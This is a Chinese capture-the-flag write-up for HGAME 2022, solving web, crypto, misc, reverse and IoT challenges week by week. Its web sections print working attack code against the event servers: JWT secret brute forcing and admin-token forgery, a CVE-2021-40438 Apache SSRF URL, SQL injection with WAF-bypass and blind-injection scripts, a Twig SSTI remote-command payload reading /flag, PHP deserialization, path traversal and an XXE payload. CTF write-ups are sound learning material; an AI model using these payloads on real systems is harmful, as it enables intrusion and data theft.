0%

hgame2022

寒假战队带学弟入门,随便做着玩玩的

HGAME2022

week1

web

easy_auth

根据题目描述要admin登进去,阅读app.js代码发现是用jwt进行的身份认证,介于是week1的简单题,没必要想的那么复杂,先尝试把algorithm改成None后无效,那就爆弱口令密钥,网上找了个top10000,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import jwt
jwt_str = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MzUwLCJVc2VyTmFtZSI6ImFkbWluJyBvciAxMDAwMD0xMDAwMCMiLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjoxNjQyNzMyMTQ1LCJpc3MiOiJNSmNsb3VkcyJ9._VVQjP4wTBYNes1cWiIaNTTidLwirfaFA9pnqsC-eQ8'

fp = open('弱口令top10000.txt','r')

for line in fp.readlines():
line = line.replace('\n', '')
# print(line)
try:
jwt.decode(jwt_str, verify=True, key=line)
print(line)
print(len(line))
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print(line)
break
except jwt.exceptions.InvalidSignatureError:
continue

爆出来密钥为空,所以伪造jwt:

1
2
dict = {"ID":1,"UserName":"admin","Phone":"","Email":"","exp":1642732145,"iss":"MJclouds"}
print(jwt.encode(dict, '', algorithm='HS256'))

然后到控制台里把token改了就能拿flag了。localStorage.setItem('token',value)

蛛蛛…嘿嘿♥我的蛛蛛

爬虫题

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re
url = 'https://hgame-spider.vidar.club/b7412bb0b0'
now = '?key=M7H8z1oG%2B1SaPudvsDf7GEm%2F9hyalx2liQ6X2mBSz4iXDqmZwkyLTWPY02GWc5OZf%2F9zO73pRTg3XdoyjfgY3g%3D%3D'

while True:
r = requests.get(url + now)
try:
now = re.search(r'\?key=.*?"', r.text)[0][:-1]
except:
print(now)
break

到最后一关查看header就有flag

Tetris plus

一个个翻js,长度最长的那个用js运行一下就是flag

Fujiwara Tofu Shop

一个个改请求头就ok

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: game.summ3r.top
User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Gasoline: 100
Cookie: flavor=Raspberry;
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Referer: qiumingshan.net
X-Real-IP: 127.0.0.1

crypto

Easy RSA

脚本随手删了

English Novel

暴力匹配出对应的,然后挨个算出key爆flag即可,最后的flag还得手动改改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
origin_name = 'original/part%d.txt'
encrypt_name = 'encrypt/part%d.txt'

def find_map():
mapping = {}
for i in range(410):
for j in range(410):
f1 = open(encrypt_name % i, 'r')
f2 = open(origin_name % j, 'r')
content1 = f1.read()
content2 = f2.read()
f1.close()
f2.close()
if len(content1) != len(content2):
continue
ok = 0
for k in range(len(content1)):
if content1[k].isalpha() != content2[k].isalpha():
ok = 1
break
if content1[k].isalpha() == False and content1[k] != content2[k]:
ok = 1
break
if ok == 0:
mapping[i] = j
print(i, 'ok')
return mapping

def encrypt(data, key):
assert len(data) <= len(key)
result = ""
for i in range(len(data)):
if data[i].isupper():
result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
elif data[i].islower():
result += chr((ord(data[i]) - ord('a') + key[i]) % 26 + ord('a'))
else:
result += data[i]
return result


mapping = {0: 194, 1: 375, 2: 276, 3: 133, 4: 394, 5: 243, 6: 66, 7: 145, 8: 123, 9: 283, 10: 291, 11: 68, 12: 326, 13: 297, 14: 300, 15: 171, 16: 320, 17: 324, 18: 224, 19: 311, 20: 39, 21: 329, 22: 356, 23: 279, 24: 334, 25: 368, 26: 182, 27: 241, 28: 398, 29: 121, 30: 77, 31: 387, 32: 345, 33: 80, 34: 17, 35: 204, 36: 344, 37: 159, 38: 34, 39: 272, 40: 256, 41: 127, 42: 245, 43: 43, 44: 221, 45: 138, 46: 379, 47: 64, 48: 141, 49: 253, 50: 143, 51: 75, 52: 328, 53: 29, 54: 180, 55: 217, 56: 350, 57: 323, 58: 186, 59: 301, 60: 36, 61: 389, 62: 336, 63: 349, 64: 72, 65: 335, 66: 327, 67: 396, 68: 268, 69: 58, 70: 284, 71: 202, 72: 20, 73: 392, 74: 142, 75: 244, 76: 67, 77: 179, 78: 147, 79: 190, 80: 254, 81: 228, 82: 265, 83: 30, 84: 45, 85: 62, 86: 109, 87: 120, 88: 92, 89: 230, 90: 65, 91: 382, 92: 137, 93: 312, 94: 205, 95: 14, 96: 1, 97: 362, 98: 26, 99: 260, 100: 288, 101: 191, 102: 118, 103: 94, 104: 176, 105: 262, 106: 197, 107: 35, 108: 149, 109: 53, 110: 367, 111: 42, 112: 361, 113: 187, 114: 59, 115: 57, 116: 213, 117: 95, 118: 48, 119: 408, 120: 378, 121: 313, 122: 175, 123: 371, 124: 98, 125: 155, 126: 40, 127: 97, 128: 200, 129: 70, 130: 281, 131: 364, 132: 402, 133: 41, 134: 108, 135: 63, 136: 267, 137: 24, 138: 100, 139: 83, 140: 74, 141: 156, 142: 403, 143: 295, 144: 49, 145: 93, 146: 237, 147: 307, 148: 28, 149: 144, 150: 353, 151: 309, 152: 352, 153: 196, 154: 207, 155: 69, 156: 82, 157: 401, 158: 86, 159: 177, 160: 383, 161: 278, 162: 343, 163: 292, 164: 293, 165: 373, 166: 188, 167: 206, 168: 242, 169: 290, 170: 116, 171: 130, 172: 181, 173: 56, 174: 219, 175: 0, 176: 214, 177: 365, 178: 195, 179: 13, 180: 173, 181: 325, 182: 263, 183: 318, 184: 81, 185: 153, 186: 388, 187: 172, 188: 114, 189: 152, 190: 359, 191: 305, 192: 9, 193: 239, 194: 52, 195: 319, 196: 274, 197: 174, 198: 232, 199: 255, 200: 346, 201: 218, 202: 363, 203: 269, 204: 47, 205: 222, 206: 104, 207: 315, 208: 227, 209: 132, 210: 211, 211: 270, 212: 161, 213: 354, 214: 407, 215: 282, 216: 154, 217: 55, 218: 103, 219: 376, 220: 128, 221: 106, 222: 78, 223: 148, 224: 135, 225: 90, 226: 89, 227: 257, 228: 110, 229: 33, 230: 216, 231: 347, 232: 249, 233: 400, 234: 2, 235: 302, 236: 275, 237: 23, 238: 208, 239: 79, 240: 151, 241: 310, 242: 60, 243: 348, 244: 184, 245: 252, 246: 338, 247: 160, 248: 185, 249: 209, 250: 390, 251: 163, 252: 287, 253: 261, 254: 102, 255: 189, 256: 27, 257: 146, 258: 198, 259: 6, 260: 126, 261: 84, 262: 294, 263: 381, 264: 215, 265: 331, 266: 226, 267: 73, 268: 44, 269: 115, 270: 192, 271: 225, 272: 91, 273: 5, 274: 201, 275: 399, 276: 170, 277: 223, 278: 16, 279: 31, 280: 38, 281: 317, 282: 193, 283: 129, 284: 134, 285: 85, 286: 235, 287: 340, 288: 386, 289: 105, 290: 101, 291: 316, 292: 112, 293: 259, 294: 286, 295: 380, 296: 107, 297: 210, 298: 165, 299: 405, 300: 248, 301: 314, 302: 322, 303: 393, 304: 337, 305: 333, 306: 119, 307: 370, 308: 406, 309: 50, 310: 169, 311: 99, 312: 136, 313: 18, 314: 113, 315: 76, 316: 240, 317: 271, 318: 167, 319: 273, 320: 88, 321: 357, 322: 71, 323: 10, 324: 7, 325: 199, 326: 21, 327: 117, 328: 342, 329: 372, 330: 280, 331: 231, 332: 166, 333: 12, 334: 384, 335: 397, 336: 385, 337: 339, 338: 212, 339: 360, 340: 203, 341: 8, 342: 124, 343: 158, 344: 96, 345: 391, 346: 251, 347: 46, 348: 355, 349: 168, 350: 264, 351: 157, 352: 395, 353: 247, 354: 369, 355: 250, 356: 374, 357: 220, 358: 87, 359: 277, 360: 351, 361: 289, 362: 4, 363: 54, 364: 19, 365: 139, 366: 233, 367: 111, 368: 37, 369: 332, 370: 178, 371: 404, 372: 358, 373: 341, 374: 234, 375: 61, 376: 298, 377: 238, 378: 306, 379: 3, 380: 131, 381: 303, 382: 366, 383: 183, 384: 125, 385: 377, 386: 330, 387: 308, 388: 162, 389: 266, 390: 150, 391: 409, 392: 140, 393: 22, 394: 11, 395: 25, 396: 304, 397: 51, 398: 164, 399: 236, 400: 32, 401: 296, 402: 321, 403: 246, 404: 258, 405: 122, 406: 285, 407: 229, 408: 299, 409: 15}
target = "klsyf{W0_j0v_ca0z_'Ks0ao-bln1qstxp_juqfqy'?}"
for i in range(410):
f1 = open(encrypt_name % i, 'r')
f2 = open(origin_name % mapping[i], 'r')
content1 = f1.read()
content2 = f2.read()
f1.close()
f2.close()
key = []
for j in range(len(content1)):
if content1[j].isalpha():
key.append((ord(content2[j]) - ord(content1[j]) + 26) % 26)
else:
key.append(0)
ans = encrypt(target, key)
if ans.startswith("hgame{D0_y0u_kn0w_'Kn0wn-"):
print(ans)

Matryoshka

第一个是盲文,

1
2
>>> a.replace('⠨','.').replace('⠤','-').replace('⠌','/')
'..-/--.../--..--/-----/--.../--..--/---../...--/--..--/.-../....-/--..--/..---/....-/--..--/..---/--.../--..--/.-.-/-..../--..--/...-/....-/--..--/....-/--.../--..--/---../...../--..--/---../--.../--..--/...-/-..../--..--/---../...--/--..--/.----/--.../--..--/--.../...--/--..--/...-/....-/--..--/-./....-/--..--/----./--.../--..--/--.../...../--..--/..-/-..../--..--/.-../....-/--..--/.----/--.../--..--/./-..../--..--/----./...../--..--/---../...--/--..--/.----/--.../--..--/..-/....-/--..--/...-/....-/--..--/.----/...--/--..--/.-.-/....-/--..--/--.../...../--..--/-..../....-/--..--/--.../....-/--..--/-----/--.../--..--/./-..../--..--/.----/....-/--..--/-..../--.../--..--/-----/...--/--..--/---../--.../--..--/..---/...../--..--/....-/--.../--..--/.-.-/-..../--..--/-..../...--/--..--/.----/...../--..--/.----/....-/--..--/--.../...--/--..--/--.../--.../--..--/-..../-..../--..--/....-/--.../--..--/--.../...--/--..--/.-.-/-..../--..--/..-/....-/--..--/./....-/--..--/....-/-..../--..--/...../-..../--..--/....-/....-/--..--/...../...--/--..--/---../-..../--..--/....-/....-/--..--/....-/-....'

翻转摩尔斯码后得到若干十六进制

1
46,66,42,75,66,45,46,6E,6D,4C,73,36,44,33,73,69,59,74,4C,36,58,32,70,34,69,4E,30,63,64,53,6C,79,6B,6D,39,72,51,4E,39,6F,4D,53,31,6A,6B,73,39,72,4B,32,52,36,6B,4C,38,68,6F,72,30,3D

转字符串后得到:FfBufEFnmLs6D3siYtL6X2p4iN0cdSlykm9rQN9oMS1jks9rK2R6kL8hor0=

维吉尼亚,密钥是hgame:YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=

解base64得到:c0bmvghyz_{0Raz_gxxm0thkzo_0ob0m_vokcczt_!r}

逆凯撒21位得到:h0gralmde_{0Wfe_lccr0ympet_0tg0r_atphhey_!w}

2层栅栏密码得到:hgame{Welc0me_t0_the_w0rld_0f_crypt0graphy!}

Dancing Line

往右走是0,往下走是1,硬数hgame{Danc1ng_L1ne_15_fun,_15n't_1t?}

misc

misc零基础,瞎打

这个压缩包有点麻烦

前两关用archpr爆破

第三关已知明文攻击

第四关binwalk

第五关伪加密

image-20220124113217498

好康的流量

从流量包里导出图片,然后用stegsolve打开,前一半flag改颜色通道改出条形码,扫出来是flag前一半,后一半是lsb隐写

image-20220121162759348

群青(其实是幽灵东京)

拖入audacity查看频域图得到密码Yoasobi

image-20220126115834952

尝试用steghide解密steghide extract -sf 群青,但是是幽灵东京.wav -p 'Yoasobi'失败

拖入SilentEye,用AES256解密方式,lsb隐写解密得到一串网址,下载得到sstv文件。

在kali上装一个qsstv,播放一遍得到图片,扫码得到flag(这个声音听得我耳朵要炸了)

image-20220126121520484

震撼我**一整年

re

之前基本没开过ida属于是

easyasm

速成x86汇编学习网址:https://www.cnblogs.com/YukiJohnson/archive/2012/10/27/2741836.html

终于补了汇编一直不会的天坑,在此感谢老战友ssdfzhyf的耐心解惑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <bits/stdc++.h>
using namespace std;
unsigned char ida_chars[] = {
145, 97, 1, 193, 65, 160, 96, 65, 209, 33,
20, 193, 65, 226, 80, 225, 226, 84, 32, 193,
226, 96, 20, 48, 209, 81, 192, 23, 0, 0,
0, 0
};
int main() {
for (int i = 0; i < 28; i++) {
int c = (int)ida_chars[i];
for (int j = 0; j < 256; j++) {
if ((((j << 4) % 0x100 + (j >> 4)) ^ 0x17) == c) {
putchar(j);
break;
}
}
}
return 0;
}

creakme

用ida32打开反编译得到伪代码,发现是一个魔改的TEA,上网搜了个脚本改改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>  
#include <stdint.h>

//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0x468acf00, i; /* set up */
uint32_t delta=305419896; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= sum ^ ((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1);
v0 -= sum ^ ((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
printf("%u\n",sum);
}

int main()
{
uint32_t v[8]={0x52EB78C2,0xED9CE5ED,0x48D93488,0x030C144C,0xCF9284AA,0x65E0F2E3,0xAE1FEDE6,0xBA5A126D},k[4]={0x44434241,0x48474645,0x4C4B4A49,0x504F4E4D};
for(int i=0;i<8;i+=2){
decrypt(v+i,k);
}
for(int i=0;i<8;i++)printf("%x ",v[i]);
return 0;
}

第一次做逆向,大小端傻傻分不清楚

Flag Checker

装好jeb工具,打开按tab查看逻辑发现是一个rc4+base64,秒了

1
2
3
4
5
6
7
if __name__ == '__main__':
from base64 import b64decode
ans = b64decode("mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=")
print(ans)
key = 'carol'
res = RC4crypt(key, ans)
print(res)

猫头鹰是不是猫

总结一下快捷键:

  • d改byte,dword,qword
  • shift+e导出数据
  • y重新定义数据类型
  • *数组

看懂逻辑后,做个矩阵乘法求逆即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int n=64;
double a[66][66],b[66][66],c[66][130],f[64];
void gauss(double (*A)[130])
{
for(int i=0;i<n;i++)
{
int k=i;
for(int j=i+1;j<n;j++)if(A[j][i]>A[k][i])k=j;
double del=A[k][i];
if(fabs(del=A[k][i])<eps)puts("no");
for(int j=i;j<2*n;j++)swap(A[i][j],A[k][j]);
for(int j=i;j<2*n;j++)A[i][j]/=del;
for(int j=0;j<n;j++)
if(j!=i)
{
del=A[j][i];
for(int k=i;k<2*n;k++)A[j][k]-=A[i][k]*del;
}
}
}

int main()
{
for(int i=0;i<n;i++)
for(int j=0;j<n;j++){
a[i][j]=dword_4140[i*n+j]/10;
b[i][j]=dword_8140[i*n+j]/10;
}
for(int i=0;i<n;i++)
for(int j=0;j<n;j++)
for(int k=0;k<n;k++)c[i][j]+=a[i][k]*b[k][j];
for(int i=0;i<n;i++)c[i][i+n]=1;
gauss(c);
for(int i=0;i<n;i++)
for (int j=0;j<n;j++)
f[i]+=ini[j]*c[j][i+n];
for(int i=0;i<n;i++)
printf("%c",char(int(floor(f[i]+0.5))));
return 0;
}

iot

用hex2bin转换,然后strings拿到flag。

week2

web

Apache!

CVE-2021-40438

1
http://httpd.summ3r.top:60010/proxy/?unix:[A*5000]|http://internal.host/flag

webpack-engine

webpack,看f12前端的源码即可。

Pokemon

sql注入,注入点在报错界面,通过报错能查看出查询语句,同时也能测出waf掉了哪些关键字,可以通过双写绕过,为了方便,就写脚本帮我replace了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = 'http://121.43.141.153:60056/error.php?code='

def bypass(s):
s = s.replace('=', ' like ')
s = s.replace(' ', '/*/**/*/')
s = s.replace('select', 'seleselectct')
s = s.replace('union', 'ununionion')
s = s.replace('or', 'oorr')
s = s.replace('and', 'anandd')
s = s.replace('from', 'frofromm')
s = s.replace('where', 'whwhereere')
return s

payload = "404 union select 1, database()#"
payload = "404 union select database(), group_concat(table_name) from information_schema.tables where table_schema=database()#"
payload = "404 union select 1, group_concat(column_name) from information_schema.columns where table_name='fllllllllaaaaaag'#"
payload = "404 union select 1, flag from fllllllllaaaaaag#"
payload = bypass(payload)
print(payload)
r = requests.get(url + payload)
print(r.text)

一本单词书

下载下来源码,登录用弱类型绕,后面这个老哥自己手动实现了一个对映射的序列化再反序列化,自己写的肯定有bug,bug就在于

最终的payload:{"sb|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";N;}aaa":"2b"}

week3

web

SecurityCenter

查看hint,该项目装了如下三个包:

1
2
3
symfony/polyfill-ctype v1.24.0
symfony/polyfill-mbstring v1.24.0
twig/twig v3.3.7

依次搜索,twig在18年爆出了一个SSTI的洞,于是在url处找到注入点:[146.56.223.34:60036/redirect.php?url={{1*7}}](http://146.56.223.34:60036/redirect.php?url={{1*7}})

随手找了个TWIG3.X的payload,{{["id", 0\]|sort("system")|join(",")}}

成功rce,但是读flag的时候cat被waf,用head去绕,正则匹配了hgame内容,base64一下即可。

最终payload:

http://146.56.223.34:60036/redirect.php?url={{["head /flag|base64", 0]|sort("system")|join(",")}})

Vidar shop demo

条件竞争,抢占的资源是钱,可以先狂发300个40块的订单的包,然后开多线程分别去支付这些包,如果条件竞争顺利的话应该来不及太扣钱,然后我们就分别对这些订单退款钱就够了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import json
import threading

url = 'http://559e013ac8.vidar-shop.mjclouds.com/api/pay/create'
payload = {"uid": 315, "amount": 20}
header = {
'Content-Type': 'application/json',
'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQxMzgxNjUsImlhdCI6MTY0NDA1MTc2NSwidWlkIjozMTV9.QyUNGJRUDQ4qp13utRgTWV8jDs4UhQYWOX8BP6wWcng'
}
def buy(id):
payload["oid"] = id
requests.post(url, headers=header, data=json.dumps(payload))

ts = []

for i in range(5603, 5855):
exec('t{0} = threading.Thread(target=buy,args=(i,))'.format(i))
exec('ts.append(t{0})'.format(i))
for s in ts:
s.start()
print("DONE")

LoginMe

hint里给了部分查询语句,通过') or ('左右闭合后中间能进行布尔盲注,尝试用left,ascii等函数均未返回预期结果,故不是mysql数据库,经验证为sqlite注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import json

url = 'http://f4440d8510.login.summ3r.top:60067/login'
ans = ''
header = {
'Content-Type': 'application/json'
}
# sql = 'select group_concat(sql) from sqlite_master'
sql = 'select group_concat(password) from uuussseeerrrsss limit 0, 1'
for i in range(1, 1000):
L = 32
R = 127
while R - L > 1:
mid = (L + R) >> 1
payload = {
"username": "ass') or substr((%s), %d, 1) < '%c' or (username='test1" % (sql, i, chr(mid)),
"password": "114514"
}
r = requests.post(url, headers=header, data=json.dumps(payload))
if 'success' in r.text:
R = mid
else:
L = mid
ans += chr(L)
print(ans)

'''
CREATE TABLE `uuussseeerrrsss` (
`id` integer,
`created_at` datetime,
`updated_at` datetime,
`deleted_at` datetime,
`username` text UNIQUE,
`password` text,
PRIMARY KEY (`id`)
),CREATE INDEX `idx_uuussseeerrrsss_deleted_at` ON `uuussseeerrrsss`(`deleted_at`)

'''

week4

crypto

ECC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sage: p = 74997021559434065975272431626618720725838473091721936616560359000648651891507
....: a = 61739043730332859978236469007948666997510544212362386629062032094925353519657
....: b = 87821782818477817609882526316479721490919815013668096771992360002467657827319
....: k = 93653874272176107584459982058527081604083871182797816204772644509623271061231
....:
sage: E = EllipticCurve(GF(p),[a,b])
sage: c1 = E(14455613666211899576018835165132438102011988264607146511938249744871964946084,25506582570581289714612640493
....: 258299813803157561796247330693768146763035791942)
....: c2 = E(37554871162619456709183509122673929636457622251880199235054734523782483869931, 7139205554061673653926796098
....: 9304287083629288530398474590782366384873814477806)
sage: cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710
....: cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619
....:
sage: m = c1-c2*k
sage: from libnum import n2s
sage: n2s(int(cipher_left//m[0]))
b'hgame{Ecc$'
sage: n2s(int(cipher_right//m[1]))
b'is!sO@HaRd}'

PRNG

梅森旋转向后预测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> import random
>>> from mt19937predictor import MT19937Predictor
>>> a = [888058162, 3*****]
>>> b = [3437104340, 5*****]
>>> from libnum import n2s
>>> flag = b''
>>> predictor = MT19937Predictor()
>>> for i in range(624):
... predictor.setrandbits(a[i], 32)
...
>>> for i in b:
... flag += n2s(predictor.getrandbits(32) ^ i)
...
>>> flag
b'hgame{meRsenne!tWisTER~iS^A*WIDelY-USEd^pSEUDo&rAndOM:nUmBEr!GeNErATIon?AlgorIThM}'

web

FileSystem

1
2
$ curl --path-as-is -X CONNECT http://1e4c3338e4.filesystem.hgame.homeboyc.cn/main.go/../there_may_be_a_flag
hgame{79f33a8b9913e797c56375c6a78865dc439578f70d572b9a402f1ad57f7eb856}

Comment

代码中允许引入外部实体,libxml_disable_entity_loader(false);

协议过滤的比较死,但是能通过compress.zlib://这个协议拿到/etc/passwd这种,但是还是拿不到源码,因为源码里有php。

于是利用data协议的输入流,将输入流base64,将外部实体导入到<sender>当中,绕过waf。

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content></content>sb</comment>

pil1ow师傅的做法非预期了,用html实体编码绕,不用引入外部实体。

1
<comment><sender>&#97;&#100;&#109;&#105;&#110;</sender><content>sb</content></comment>

好文章:

XXE - XEE - XML External Entity - HackTricks